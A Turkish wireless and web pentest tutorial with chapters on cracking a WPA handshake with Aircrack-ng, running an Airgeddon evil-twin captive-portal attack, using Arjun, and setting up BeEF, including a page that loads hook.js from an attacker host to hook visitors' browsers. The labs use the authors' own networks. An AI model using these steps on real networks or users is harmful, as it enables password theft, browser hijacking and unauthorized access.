Aircrack-ng aracını kullanmaya başlamadan önce öncelikle WiFi kartımızın bilgisayarımıza düzgün bir şekilde takılıp takılı olmadığını kontrol etmeliyiz. WiFi kartımızın takılı olduğundan emin olduktan sonra, kartımızı izleme (monitor) moduna almak gerekmektedir. Bunun için terminal ekranına `airmon-ng start wlan0` komutunu yazmamız yeterli olacaktır.

<figure><img src="/files/RFVVUB2DB5gvnQQbws0w" alt=""><figcaption></figcaption></figure>

Monitor Moda geçtikten sonra etrafımızdaki ağları listelemek için `airodump-ng wlan0mon` komutunu yazıyor.

<figure><img src="/files/vDi2dTOHDOjYMxzBl9GM" alt=""><figcaption></figcaption></figure>

Çevremizdeki ağları gözlemledikten ve incelikle bir hedef seçtikten sonra, etik bir yaklaşımla, sadece kendi ağımıza yönelmeliyiz. Ben bu örnekte, zarar verme potansiyeli olmadan, eğitim amaçlı olarak kendi ağım olan ve listelenen ağlar içerisinde 4. sırada yer alan **Muratpc** isimli ağı hedef almayı tercih ediyorum. Bu belirli hedef ağ hakkında daha fazla bilgi edinmek ve WPA handshake'ini yakalamak için gereken komut aşağıdaki gibidir:

```sh
airodump-ng --channel 1 --bssid DE:46:28:02:4F:CC --write handshake-file wlan0mon
```

{% hint style="info" %}
WPA2, Wi-Fi ağları için güvenli bir şifreleme standartıdır ve verileri korumak için AES tabanlı şifreleme kullanır.
{% endhint %}

<figure><img src="/files/RRYx8MXbhH08hjMS0Eps" alt=""><figcaption></figcaption></figure>

Yukarıdaki ekran görüntüsünde kırmızı kutu içerisindeki **WPA handshake** ifadesi bizim bir handshake yakaladığımızı gösteriyor. Şimdi bu handshake ve bir wordlisti kullanarak WPA şifreli WiFi ağının parolasını kırmaya çalışacağız. Onun için yazmamız gereken kod:

{% hint style="info" %}
Burada kullanacağımız wordlist en çok kullanılan parolalar(Örnek olarak: 10k-most-common-password) yada WiFi ağı hakkında bilgimiz varsa ağa özel wordlistler olabilir.
{% endhint %}

```sh
aircrack-ng handshake-file-0.cap -w password-wordlist.txt
```

<figure><img src="/files/k7WTdGD4KSQfYqTxJ2Mf" alt=""><figcaption></figcaption></figure>

Aircrack-ng araçımız bizim verdiğim handshake'i ve wordlisti kullanarak WiFi parolasını buluyor.

{% embed url="<https://github.com/muratbulut>" %}
Bu yazı Murat BULUT tarafından yazılmıştır.
{% endembed %}


# Airgeddon

## Airgeddon Nedir?

**Airgeddon**, kablosuz ağ güvenliği testleri ve saldırıları için tasarlanmış bir araçtır. Genellikle Wi-Fi ağlarının güvenlik zayıflıklarını tespit etmek, test etmek ve sızma testleri yapmak amacıyla kullanılır. Airgeddon, Kali Linux gibi birçok güvenlik testi dağıtımında bulunabilir ve çeşitli kablosuz ağ saldırıları gerçekleştirmek için bir dizi araç içerir.

Bu araç, WPA/WPA2 güvenlik protokollerine yönelik çeşitli saldırıları gerçekleştirebilir, WPS zayıflıklarını tespit edebilir, karmaşıklık saldırıları yapabilir, istemci yanıltma saldırıları gerçekleştirebilir ve daha fazlasını yapabilir. Bununla birlikte, Airgeddon gibi araçların yasal amaçlar için kullanılması önemlidir; aksi takdirde, yetkisiz ağ erişimi sağlama ve diğer yasa dışı faaliyetlerde bulunma gibi suçlar oluşturabilir.

***

## Airgeddon Aracı Nasıl Yüklenir?

### 1. Yöntem

Aşağıdaki komutu Kali Linux terminaline yapıştırarak paket yöneticisi üzerinden kurulumu gerçekleştirebilirsiniz.

```md
sudo apt-get install airgeddon
```

### 2. Yöntem

Aşağıdaki kodları kullanarak aracı github deposundan klonlayabilir ve çalıştırabilirsiniz.

```md
git clone https://github.com/v1s1t0r1sh3r3/airgeddon

cd airgeddon

./airgeddon
```

{% hint style="warning" %}
Airgeddon aracını kullanmak için **`root`** kullanıcısında olmanız gerekiyor.
{% endhint %}

***

## Sanal Makine Ayarlama

{% hint style="warning" %}
Kali Linux'u sanal makinede kullananlar bu kısıma **dikkat** etmelidir. Yoksa aracı kullanamazlar. Airgeddon aracını yükledikten sonra sanal makineyi kapatıp harici wifi adaptörlerini sanal makineye bağlamaları gerekmektedir. Aşağıda bunu adım adım nasıl yapacağınızı göstereceğim.
{% endhint %}

### VirtualBox

<figure><img src="/files/DUrqoUL575eGlCjunw1A" alt=""><figcaption></figcaption></figure>

1. Sanal makinenin ayarlarına girin.

<figure><img src="/files/o30NCE68g3sKfnGOPiKY" alt=""><figcaption></figcaption></figure>

2. Ağ kısmından bağlantı tipini köprülü'ye çevirin.

<figure><img src="/files/6SR9Ljjx6YAjH5WXt49O" alt=""><figcaption></figcaption></figure>

3. USB kısmından adaptörünüz hangi tip USB portuna bağlı ise onu seçin USB cihazları kısmındanda adaptörünüzün adının seçili olduğundan emin olun. Eğer adaptörünüzün ismi görünmüyorsa sağ taraftaki + işaretli butondan adaptörünüzü bilgisayara takılı cihazlar listesinden seçerek ekleyebilirsiniz.

***

## Evil Twin Saldırısı Nedir?

**Evil Twin**, kablosuz ağlarda sıkça kullanılan bir saldırı türüdür. Temel olarak, saldırganın meşru bir kablosuz erişim noktasının (AP) kimliğini taklit ettiği ve kullanıcıların bilgilerini çalmak veya ağ trafiğini izlemek için bu taklit AP'sine bağlanmaya ikna etmeye çalıştığı bir saldırıdır. Bu saldırıyı gerçekleştirmek için **Airgeddon** aracını kullanacağız. Şimdi bu araca biraz yakından bakalım.

### Evil Twin Çalışma Mantığı

<figure><img src="/files/ua0VHTj6Wxj9Bh7Kq0NU" alt=""><figcaption></figcaption></figure>

Evil Twin saldırısı genellikle şu adımları içerir:

1. Saldırgan, hedeflenen bölgede mevcut olan ve kullanıcıların bağlandığı meşru bir kablosuz erişim noktasının (AP) kimliğini tespit eder.
2. Saldırgan, meşru AP'nin kimliğini taklit eden sahte bir AP kurar. Bu sahte AP, meşru AP'nin ismini, MAC adresini ve genellikle benzer bir sinyal gücünü kullanır.
3. Kullanıcılar, sahte AP'yi meşru bir AP olarak algılarlar ve otomatik olarak bağlanmaya çalışırlar. Kullanıcılar sahte AP'ye bağlandığında, saldırgan ağ trafiğini izleyebilir, kullanıcıların giriş bilgilerini çalabilir veya kötü amaçlı yazılım gönderebilir.
4. Bu saldırı türü, kullanıcıların güvenlik önlemlerine dikkat etmediği durumlarda etkili olabilir. Kullanıcıların bilinmeyen veya güvenilmeyen ağlara bağlanmadan önce dikkatli olmaları ve kablosuz ağlara bağlanırken doğrulama ve şifreleme gibi güvenlik önlemlerini kontrol etmeleri önemlidir.

## Airgeddon Aracının Kullanımı

<figure><img src="/files/5rbBKmqx0wNsYmZvNzkD" alt=""><figcaption></figcaption></figure>

1. Airgeddon aracını düzgün kullanabilmek için root yetkisinde olmanız gerekmektedir.

<figure><img src="/files/V7XYrsnwbVOO98vOQRUU" alt=""><figcaption></figcaption></figure>

2. Yukarıdaki uzay gemisini görüyorsanız şaşırmayın, doğru yoldasınız. Burası aracımızın açılış ekranıdır. Aracımızın çalıştığını göstermektedir.

<figure><img src="/files/39DIq7Exke7kLclOa32p" alt=""><figcaption></figcaption></figure>

3. Burada aracımızı kullanabilmek için gerekli olan diğer araçların ve scriptlerin yüklü olup olmadığını kontrol etmemizi istiyor. Ama merak etmeyin bunu elimizle yapmayacağız. Aracımız bunu bizim yerimize yapıyor. Bunun için yapmamız gereken tek şey Enter tuşuna basmak.

<figure><img src="/files/7lGsacWTGjPL6elFxM1B" alt=""><figcaption></figcaption></figure>

4. Burada gerekli olan araçların ve scriptlerin hangileri olduklarını ve yüklü olup olmadıklarını görebilmekteyiz. Yüklü olanların yanında Ok yazmaktadır. Eğer burada Ok yazmıyor ise aracın çalışmasını **Ctrl+C** ile durdurup. O aracı manuel olarak yüklemeliyiz. Ama telaşlanmayın şu ana kadarki kullanımımda hiç böyle bir sorun ile karşılaşmadım. Adımları atlamadan yaparsanız sizinde karşılaşacağınızı düşünmüyorum. :)

<figure><img src="/files/mLs0Oa7wfgblbBeX6ouC" alt=""><figcaption></figcaption></figure>

5. Burada ise bizden kullanacağımız wifi adaptörü seçmemizi istiyor. Sanal makine kurulumu esnasında gösterdiğim adımları eksiksiz yaptıysanız wifi adaptörünüz burada görünecektir. Kullanmak istediğiniz wifi adaptörünüzün sıra numarasını girerek işleme devam ediniz. Benim kullanacağım wifi adaptör 2. Sırada olduğu için sadece 2 yazıp **Enter** tuşu ile devam ediyorum.

<figure><img src="/files/eZlilW6Vd83mY0v8Jf7G" alt=""><figcaption></figcaption></figure>

6. Burada karşımıza çıkan listede aracın içerisinde yapabileceklerimizi görmekteyiz. Fakat aracı kullanabilmemiz için öncelikle bağlantımızın monitör modda olması gerekmektedir. Bunun içinde Put interface in monitör mode seçeneğinin sıra numarasını yani 2'yi yazıyoruz ve **Enter** tuşununa basıyoruz.

<figure><img src="/files/NmFVfatOyluhWyAllsiT" alt=""><figcaption></figcaption></figure>

7. Monitör moda geçtikten sonra da Evil Twin Attacks Menu seçeneğini seçiyoruz. Bunun içinde 7 numarasını giriyoruz ardından **Enter** tuşununa basıyoruz.

<figure><img src="/files/g5jHCK4Ay5LAOEUPZtRo" alt=""><figcaption></figcaption></figure>

8. Burada birden fazla **Evil Twin Attack** çeşidi görüyoruz. Bizim kullanacağımız Captive Portal olan yöntemdir. Bunun için 9. seçeneği seçip **Enter** tuşununa basıyoruz.

<figure><img src="/files/gaJ8ayXa5G6N0aeAIv2D" alt=""><figcaption></figcaption></figure>

9. **Captive Portal** seçeniğini seçtikten sonra karşımıza yukarıdaki gibi bir ekran çıkacaktır. Burada açılan ekranda hedef ağımızı görene kadar bekliyoruz. Açılan pancerede hedef ağımızı gördükten sonra seçim ekranına geçebilmek için **Ctrl+C** tuşlarına basarak açık olan pencereyi kapatıyoruz.

<figure><img src="/files/RKz1hb9yfHe34FU181gN" alt=""><figcaption></figcaption></figure>

10. Burası hedef ağımızı seçeceğimiz ekrandır. Bu ekranda bir önceki kısımda anlatmış olduğum açılan pencerede görünen ağların bir listesini görmekteyiz. Hedef ağımızın sıra numarasını girerek devam ediyoruz. Benim burda test amaçlı seçtiğim ağ **ESSID**'si **Redmi Note 12 Pro 5G** olan telefon ağımdır. Bu ağpı seçmek için sıra numarası olan **11**'i yazıp ardından **Enter** tuşuna basıyorum.

<figure><img src="/files/PFCc49d2BIzNXHHO2Val" alt=""><figcaption></figcaption></figure>

11. Bu sayfada da **Deauth Attack** modumuzu seçiyoruz. Burada söylemek istediğim bir şey var. Bu üç seçeneği denediğim takdirde bende üçü de çalıştı. Ama internetteki araştırmalarıma göre diğer modları deneyenler bazen çalışmadıkalrını söylüyorlar. Bu durumda benim tavsiyem seçtiğiniz mod çalışmaz ise bu ekradaki diğer modları denemenizdir. Burada benim kullanacağım mod **Deauth Aireplay Attack** modudur. Bunun için sıra numarasını **2** olarak giriyorum ve **Enter** tuşuna basıyorum.

<figure><img src="/files/3LpBjMltav3uLMEUMTXK" alt=""><figcaption></figcaption></figure>

12.

* Bunlardan birincisi **Do you already have a captured Handshake file? Answer yes ("y") to enter the path or answer no ("n") to capture a new one now \[y/N]** sorusu çıkıyor. Bu soruda elinizde hedef ağınıza ait bir **Handshake** dosyanız var mı diye sormaktadır. Eğer varsa **"Y"** eğer yoksa **"N"** yazıp **Enter** tuşuna basıyoruz.
* İkincisi ise **Type value in seconds (10-100) for timeout or press \[Enter] to accept the proposal \[20]:** sorusu çıkıyor. Bu soruda zaman aşımı için saniye cinsinden **10** ile **100** arasında bir değer girmenizi istemektedir. İstediğimiz değeri girip **Enter** tuşuna basıyoruz. Özel bir zaman aşımı süresi istemiyorsanız veya öneriyi kabul etmek istiyorsanız direk **Enter** tuşuna basıyoruz ve bizim için **Handshake** dosyasını yakalamaya çalışıyor. Bir süre sonra **(zaman aşımı seçim ekranında seçtiğiniz süre kadar sonra)** ekranlar kapanacaktır.

<figure><img src="/files/dwKEx2KwPaLSWPmjfCEP" alt=""><figcaption></figcaption></figure>

13. Bu ekranda da eğer handshake başarı ile yakalanırsa karşımıza gelen ekran olacaktır. Burada yakalanan handshake dosyası ve denenecek parolaların bununduğu **.txt** dosyasını kaydedeceği yeri göstermektedir. Bize sorulan **Type the path to store the file or press \[Enter] to accept the default proposal.** sorusunda ise dosyanın saklanacağı yolu yazmamız ve ardından **Enter** tuşuna basmamız gerekmektedir. Varsayılan öneriyi kabul etmek için ise direk **Enter** tuşuna basmamız yeterlidir.

<figure><img src="/files/4ZKjoqNap7PF6CLPvoz5" alt=""><figcaption></figcaption></figure>

14. Burada ise bizim ayağa kaldırdığımız sahte modeme bağlantı sırasında kullanıcıya göstereceğimiz **captive portal** ekranının dilini seçmemiz istenmektedir. Hangi dili seçmek istiyorsanız o dilin sıra numarasını yazarak devam ediyoruz. Ben burada türkçe dilini seçmek istediğim için **11** yazıp **Enter** tuşuna basıyorum ve bir sonrakşi ekrana devam ediyoruz.

<figure><img src="/files/9xpJKyZOuTYcgu5A1K8l" alt=""><figcaption></figcaption></figure>

15. Veee herkesin beklediği o ekran :) . Burada çok güzel hazırlanmış bir saldırı ekranımız bulunmaktadır. Bu aşamada aracımız hedef ağı düşürüp aynı isimde aynı kanalda sahte bir araç yayınlayarak saldırıyı başlatmıştır. Burada gördüğümüz pencerelere bir göz atalım ve ne olduklarına bir bakalım.

* <mark style="color:green;">**AP (Access Point)**</mark> <mark style="color:green;">**==>**</mark> Sahte modeme bağlanan cihazları bırada görmekteyiz.
* <mark style="color:green;">**DHCP (Dynamic Host Configuration Protocol)**</mark> <mark style="color:green;">**==>**</mark> Cihazlara gerekli parametreleri atamaktadır.
* <mark style="color:green;">**Deauth**</mark> <mark style="color:green;">**==>**</mark> Hedef ağa saldırarak ağa erişimi kısıtlamaktadır.
* <mark style="color:green;">**Control**</mark> <mark style="color:green;">**==>**</mark> Sahte ağa bağlanmaya çalışan kullanıcıların denedikleri doğru veya yanlış parolaları göstermektedir. Ayrıca bağlanmış olabilecek cihazlarda yer alabilir.
* **DNS (Domain Name Server) ==>** Alan adlarını IP adreslerine çevirmektedir. Bu da o cihazların hangi adreslere girmeye çalıştıklarını gösterir.
* <mark style="color:green;">**Web Server ==>**</mark> Kullanıcıların parolayı girecekleri **Captive Portal** panelinin aktif olmasını sağlamaktadır.

<figure><img src="/files/2YFFkgPEyD2oSRoBKZaj" alt=""><figcaption></figcaption></figure>

16. Burada ise demin bahsetmiş olduğum bilgilerden biri olan **Control** ekranının nasıl çalıştığını görmekteyiz. Hangi parolaların girildiğini anlık olarak görebiliyoruz.

<figure><img src="/files/LKisnO6ZDbOPXnmjYGD3" alt=""><figcaption></figcaption></figure>

17. Burada ise son olarak doğru parola girildiği takdirde saldırı ekranlarının kapandığını görmekteyiz. **Control** ekranında da doğru parolanın yer adlığını görebilirliz. Bu **Conrtol** ekranındaki bilgilerinde yer aldığı **.txt** dosyasının kayıt edileceği yer bize göstermektedir.

<figure><img src="/files/Lum0X7laCAFI7JgjAG7Z" alt=""><figcaption></figcaption></figure>

18. Son olarakta bu bilgilerin kayı edildiği **.txt** dosyasına bir göz atalım. Saldırı boyunca cihaz bilgilerimizin **BSSID**, **Channel**, **ESSID** ve doğru-yanlış tüm denenen parolaları görebilmekteyiz.

***

## Kullanıcı Gözünden Captive Portal

<figure><img src="/files/ar3eOH0TRiWVALtf1FKz" alt=""><figcaption></figcaption></figure>

1. Burada gerçek ağımız için **Bağlantı Doğrulanamadı** ve sahte ağımız için ise **Oturum Açma Gerekli** uyarısı vermektedir.

<figure><img src="/files/BubFHxE800nFDfHznv5K" alt=""><figcaption></figcaption></figure>

2. Sahte ağımıza bağlanıldığında ise **Kablosuz Ağda Oturum Açın** bildirimini görmekteyiz. Bu kullanıcıyı **Captive Portal** paneline yönlendirecek olan linktir.

<figure><img src="/files/p5q7Mwh88RGIYKYqOAXq" alt=""><figcaption></figcaption></figure>

3. Burada ise **Captive Portal**'ı görmekteyiz. Kullanıcı bu ekranda parolasını girip **Gönder** butonuna basmalıdır.

<figure><img src="/files/iTqyzadiNnu0kOoOJVgu" alt=""><figcaption></figcaption></figure>

4. Burada da kullanıcı yanlış bir parola girdiği takdirde karşısına çıkacak olan ekranı görmekteyiz.

***

## Sonuç

{% hint style="info" %}
Bu çalışmada, Airdeggon aracının kullanımı ve Evil Twin Attack uygulamasının nasıl yapıldığını adım adım anlatarak, siber güvenlik alanında önemli bir kavramı ele aldık. **Airdeggon**, kablosuz ağ güvenlik testlerinde yaygın olarak kullanılan güçlü bir araçtır ve doğru kullanıldığında ağların güvenlik açıklarını tespit etmeye yardımcı olur. **Evil Twin Attack** ise kullanıcıların bilgilerini çalmak için sahte bir erişim noktası oluşturarak yapılan bir saldırı türüdür ve günümüzde oldukça yaygındır. Bu tür çalışmalarda etik kurallara ve yasalara uyulmasının, siber güvenlik araştırmalarının güvenilirliği açısından kritik olduğunu vurgulamakta fayda vardır. Gelecek araştırmaların bu doğrultuda devam etmesi, güvenli ve sağlıklı bir dijital ortamın oluşturulmasına katkı sağlayacaktır.
{% endhint %}

***

{% embed url="<https://github.com/mhmtbyzgl>" %}
Bu yazı Mahmut BEYAZGÜL tarafından hazırlanmıştır.
{% endembed %}


# Arjun

<figure><img src="/files/fNkXAL0qozJKb0DiFxlk" alt="" width="563"><figcaption></figcaption></figure>

Arjun, gizli HTTP parametrelerini bulmak için özel olarak oluşturulmuş bir komut satırı aracıdır. Günümüz web uygulamaları, dinamik işlevselliği sağlamak için çeşitli parametrelerle donatılmıştır. Arjun, bu parametreleri keşfetmek suretiyle size yeni test uç noktaları sunmayı amaçlar.

### Peki bu parametre nedir

Parametre, bir sistemin veya işlevin belirli bir özelliğini, davranışını veya ayarını kontrol etmek veya değiştirmek için kullanılan bir değer veya değişkendir. Web geliştirme bağlamında, bu terim genellikle HTTP istekleri veya komutlarıyla iletilen bilgileri ifade eder. Bir HTTP isteği gönderilirken, URL'de veya istek gövdesinde bulunan parametreler, sunucuya belirli bir isteğin detaylarını bildirir. Bu parametreler, web sunucusunun isteğe uygun yanıtlar vermesini sağlar. Örneğin, bir arama motoruna bir arama sorgusu gönderirken, URL'de "?q=aranacak\_kelime" gibi bir parametre bulunur. Bu parametre, arama motoruna hangi kelimenin aranacağını belirtir. Benzer şekilde, bir web formu gönderirken, form alanlarındaki veriler istek gövdesinde parametre olarak iletilir. Bu parametreler, sunucunun kullanıcı tarafından sağlanan bilgilere göre özelleştirilmiş yanıtlar üretmesini sağlar.

## Kurulum

Arjun'un düzgün çalışması için en az Python 3.4 veya daha yeni bir sürüm gereklidir. Mevcut Python sürümünüzü kontrol etmek için terminalde veya komut istemcisinde python3 -V komutunu çalıştırabilirsiniz. Eğer bu komut, Python 3.4 veya üzeri bir sürüm göstermiyorsa, aşağıdaki komutla gerekli sürümü yükleyebilirsiniz:

```
   sudo apt-get update
   sudo apt-get install python3
```

Arjun, aktif olarak geliştirilmekte olan ve s0md3v tarafından GitHub'da barınan bir projedir. En güncel sürümü elde etmek ve kullanmaya başlamak için GitHub deposundan gitmek gerekiyor. Ardından, projeyi indirecek ve kurulumu gerçekleştireceğiz. Böylece en güncel özelliklerle çalışmaya başlayacağız. [(GitHub)](https://github.com/s0md3v/Arjun)

```
git clone https://github.com/s0md3v/Arjun
```

<figure><img src="/files/RAXkyfqodc3L0sC4iSet" alt="" width="563"><figcaption></figcaption></figure>

Bu komut, Arjun'un GitHub deposundaki en son sürümünü indirecek ve yerel bilgisayarınıza kopyalayacaktır. Artık projeyi yerel ortamınızda kullanmaya başlayabilirsiniz.

## Kullanım

Öncelikle, Arjun'un parametrelerini incelemek için terminalde veya komut istemcisinde aşağıdaki komutu kullanarak Arjun'un yardım belgesini görüntüleyebiliriz:

```
arjun -h
```

<figure><img src="/files/ahXy7BZbGKhz1vQKtZpS" alt="" width="563"><figcaption></figcaption></figure>

Bu komut, Arjun'un kullanılabilir parametrelerini ve kullanım talimatlarını detaylı bir şekilde sunacaktır.

```
 -h, --help                  Bu yardım mesajını gösterir ve programı sonlandırır.
 -u URL                      Hedef URL.
 -o JSON_FILE, -oJ JSON_FILE JSON formatında çıktı dosyası için dosya yolunu belirtir.
 -oT TEXT_FILE               Metin formatında çıktı dosyası için dosya yolunu belirtir.
 -oB [BURP_PORT]             Burp Suite Proxy'ye çıktı göndermek için port belirtir. Varsayılan bağlantı noktası 8080'dir.
 -d DELAY                    İstekler arasındaki gecikmeyi saniye cinsinden belirtir. (varsayılan: 0)
 -t THREADS                  Eşzamanlı iş parçacığı sayısını belirtir. (varsayılan: 5)
 -w WORDLIST                 Kullanılacak sözcük listesi dosya yolunu belirtir. (varsayılan: {arjundir}/db/large.txt)
 -m METHOD                   Kullanılacak HTTP istek yöntemini belirtir: GET/POST/XML/JSON/HEADERS. (varsayılan: GET)
 -i [IMPORT_FILE]            Hedef URL'leri dosyadan içe aktarır.
 -T TIMEOUT                  HTTP istek zaman aşımını saniye cinsinden belirtir. (varsayılan: 15)
 -c CHUNKS                   Yığın boyutunu belirtir. Bir kerede gönderilecek parametre sayısını belirler.
 -q                          Sessiz modu etkinleştirir. Çıktı alınmaz.
 --headers [HEADERS]         Başlık ekler. Birden fazla başlık için her bir başlığı yeni bir satırda belirtin.
 --passive [PASSIVE]         Pasif kaynaklardan parametre adlarını toplar (örneğin Wayback, CommonCrawl ve OTX).
 --stable                    Hız yerine kararlılığı tercih eder.
 --include INCLUDE           Belirli verileri her isteğe dahil eder.
 --disable-redirects         Yönlendirmeleri devre dışı bırakır.
```

* Çok basit bir komutla başlayalım ve (-u) komutu ile bir url girelim (<https://orneksite.com>)

<figure><img src="/files/2gIkPGc31NHImlltP2bb" alt="" width="563"><figcaption></figcaption></figure>

Burada verilen url de "auth", "q" ve "text" parametrelerini arayarak keşfetmiştir.

* Diğer tüm araçlarda olduğu gibi, daha önce bulunmayan şeyleri bulmanın gücü kendi özel listelerinizi kullanmaktır. Kendi parametre listenizi (-w) bayrağı ile sağlayabilirsiniz.

<figure><img src="/files/TtUjzvkvz8UtSHY0u7X8" alt="" width="563"><figcaption></figcaption></figure>

Burada verilen url de kullanıcı tarafından verilen wordlist üzerinde tarama yaparak "auth", "q" ve "text" parametrelerini keşfetmiştir.

* -m parametresi ile HTTP methodunu belirleyebiliriz(-m parametresini kullanmazsanız varsayılan olarak GET yöntemini kullanacaktır.)

<figure><img src="/files/Vmp1IIGNMQt9kyMWb7K3" alt="" width="563"><figcaption></figcaption></figure>

**Özetle**

Arjun, gizli parametreleri tespit edebilen bir araçtır ve daha geniş çaplı saldırılar için kullanılabilir. Bu aracı kullanarak, URL listesi sağlayarak Arjun'u otomasyon süreçlerinizde hızla kullanabilir ve çıktıyı başka bir araç tarafından kullanılmak üzere bir JSON dosyasına aktarabilirsiniz.

{% embed url="<https://github.com/MKLKCDG>" fullWidth="false" %}
Bu yazı Mikail KOCADAĞ tarafından hazırlanmıştır.
{% endembed %}


# BeEF

BeEF, The Browser Exploitation Framework'in kısaltmasıdır Türkçesi olarak Tarayıcı Sömürme Aracı gibi çevirebiliriz . Web tarayıcısına odaklanan bir penetrasyon test aracıdır.

<figure><img src="/files/KFk1OkYi9qxRc4YtnqGS" alt=""><figcaption></figcaption></figure>

Mobil tarayıcılar da dahil olmak üzere web tarayıcısına odaklanan bir penetrasyon test aracıdır.

İstemci web tarayıcısında çalışan hook.js adında Javascript dosyası saldırgana ait bilgisayara ters bağlantı kurar (varsayılan olarak TCP\3000 portunda ) ve saldırgan da kullanıcı yetkisi dahilinde komut çalıştırabilir.

Saldırgan bağlantıyı sağladıktan sonra istemci ekranında tarayıcının yapabilecekleri çerçevesinde çeşitli eylemlerde bulunur.

Saldırganın bağlantı kurduktan sonra yapabilecekleri:

* Phishing saldırıları düzenleme
* Cookie çalma
* DOS, DDOS saldırıları için zombie bilgisayar haline getirme vb.

Yapabileceklerimizi anladıktan sonra BeEF'in kurulumuna ve çalıştırılmas kısımlarına geçelim.

### BeEF yükleme adımları

1. Öncelikle dosyaların bulunduğu repodan dosyaları klonlamamız lazım.

```
git clone https://github.com/beefproject/beef.git
```

2. Sonrasında indirdiğimiz dosyanın içine girelim. ls komutunu çalıştırdığımızda şöyle bir görüntü ile karşılaşmamız lazım.

<figure><img src="/files/Zyv1srNSFMcwEJHmuKgc" alt=""><figcaption></figcaption></figure>

3. Öncelikle kullanıcak olduğumuz toolun gereksinimleri indirmemiz gerekiyor.
4. ./install komutunu çalıştırdıktan sonra çıkan sorulara "y" cevabını veriyoruz.
5. İndirme işlemleri bittikten sonra ./beef dediğimizde sistemiz başlıyor olucak ama ilk defa kurulum yapıyorsanız default kullanıcı adı ve şifre kullanıyor olduğunuz için sistem çalışmicaktır.

<figure><img src="/files/fbWN4z4ycs2Vv3FkUkQc" alt=""><figcaption></figcaption></figure>

6. Öncelikle config.yaml üzerinden kullanıcı adımızı ve şifremizi değiştirmeliyiz. Bunun için şunları yapıyoruz.

```
nano config.yaml
```

<figure><img src="/files/vXBFwtG3X3saR37GxlzB" alt="" width="563"><figcaption></figcaption></figure>

User ve passwd alanları değiştirip kaydediyoruz.

7. Bu işler sonrasında kurulum tamamlanmış oluyor. ./beef yazdığımızda toolun çalışması gerekiyor.

### BeEF kullanımı

<figure><img src="/files/PWQuu1p4rIjWMnSbhfH2" alt="" width="563"><figcaption></figcaption></figure>

./beef yazdıktan sonra işaretli olan URL'i tarayıcımızda açtığımızda BeEFF toolunun paneli açılıyor. Kurulum esnasın değiştirdiğimiz kullanıcı adı ve şifre ile buradan giriş yapıyoruz.

<figure><img src="/files/psZdd5gU9OG68s2QBSZB" alt="" width="563"><figcaption></figcaption></figure>

### Peki BeEF nasıl çalışır?

Genel olarak phishing yöntemiyle, BeEF’in ağına dahil olmuş kurbanlar sürekli bilgilerini BeEF’in kurulu olduğu ana sunucuya gönderirler. Sunucunun web paneline kullanıcı adı ve parola ile erişim sağlarlar.

Kurbanların tüm bilgileri sürekli ana sunucuya iletildiğinden saldırgan tüm kurbanların bilgilerine web arayüzü üzerinden ulaşabilecek.

Kullanıcıyı istediğimiz yönde yönlendirdikten sonra IP adresleri üzerinden browser çerçevesinde istediklerimizi yapabiliriz.

Ağımıza düşürdüğümüz kullanıcılara yapabileceklerimiz şu kategorilere ayrılırlar.

Yapabileceklerimize tek tek bakarsak

🟢 Kullanıcı tarafında çalışır ve kullanıcı tarafında görünmez.

🟠 Kullanıcı tarafından çalışır ve kullanıcı tarafından görülebilir.

⚪ Kullanıcı tarafında çalışıp çalışmadığı kesin değil.

🔴 Kullanıcı tarafında çalışmazlar.

### Kullanıcıları nasıl BeEF ile etkileyebiliriz?

BeEF toolu ile kullanıcılara zarar vermek için genel olarak phishing yöntemleri kullanılır. Bir sitenin klon halini oluşturduğumuzda ve zararlı scripti dosyanın içine eklediğimizde ya da zararlı bir link gönderip zararlı scriptin olduğu siteye yönlendirebiliriz. Kullanıcı tarafı bizim sistemimize bilgilerini gönderir ve bizde yapabilecek olduğumuz komutları uygularız.

### Saldırıyı demo edelim

Öncelikle kurulumları yaptıktan sonra fake bir site oluşturmamız ve bunu başka bir bilgisayarda açmamız gerekiyor. Bu demo için bize lazım olanlar:

* Linux dağıtımı kurulu ve BeEF kurulu bir sanal makine
* Herhangi bir işletim sistemi kurulu bilgisayar

Ben demo için Ubuntu kullanıyorum. Öncelikle apache serverı açmamız gerekiyor.

Eğer Linux dağıtımınızda Apache sunucusu yüklü değilse şu komutla indirebilirsiniz

```
sudo apt install apache2
```

Sunucu kurulumundan sonra da /var/www/html altında bulunan index.html dosyamızı düzenlememiz lazım.

Düzenlemeden önce terminal üzerinden BeEF toolunu çalıştırdığımızda karşımıza çıkan yazılarının arasından karşı tarafa yüklemek istediğimiz JavaScript dosyasının linkini not etmeliyiz.

<figure><img src="/files/QDocmKST3fAS0uMLlSLb" alt="" width="541"><figcaption></figcaption></figure>

hook.js dosyasını not ettikten sonra /var/www/html altında bulunan dosyayı düzenleyebiliriz. Öncelikle istediğimiz dizine gidip orada bulunan index.html'i silmek istiyorum. Sonrasında kendi index.html dosyamı oluşturacağım. Sırasıyla şu komutlarla devam ediyoruz.

```
cd /var/www/html
sudo rm index.html
nano index.html
```

Açılan pencereye şu html templateini yapıştırıyoruz.

```
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script src="http://192.168.19.138:3000/hook.js"></script>
    <!-- UST KISMA SIZIN hook.js LINKINIZ GELICEK-->
</head>
<body>

    <h3>Kişisel WEB sitesi</h3>

    <p>Lorem Ipsum Lorem Ipsum</p>

</body>
</html>
```

Bu işlemleri yaptıktan sonra apache serverımızı başlatıyoruz.

```
service apache2 start
```

Serverın başlayıp başlamadığını anlamak için IP adresimizi tarayıcımıza yazıyoruz.

<figure><img src="/files/CiwbeNPQce4xm51XNc32" alt=""><figcaption></figcaption></figure>

Böyle bir sayfanın bizi karşılaması lazım. Kurulumlar hazır bundan sonra kullanıcıya bu sitemizin linkini ulaştırmak kalıyor. Farklı phishing yöntemleri deneyerek saldırılarınızı yapabilirsiniz.

Yaptığımız siteyi ana bilgisayarımda açmadan önce BeEF arayüzüne giriyoruz.

<figure><img src="/files/iHTZA2C33mBRCAc6yeSG" alt="" width="563"><figcaption></figcaption></figure>

Açılan arayüz ekranında sol tarafta bize bağlanmış olan kullanıcılar gözüküyor olucak. Daha önce kimseyi sistemimize bağlamadığımız için şimdilik boş gözüküyor.

Şimdi sistemimize birini bağlamak için hazırlamış olduğumuz siteyi ana bilgisayarımızda açıyoruz.

<figure><img src="/files/bY2ufQnCmtjSv6Xzqgnj" alt="" width="563"><figcaption></figcaption></figure>

Sitemize girdikten sonra BeEF üzerinden baktığımızda kullanıcı sistemimize bağlanmış durumda.

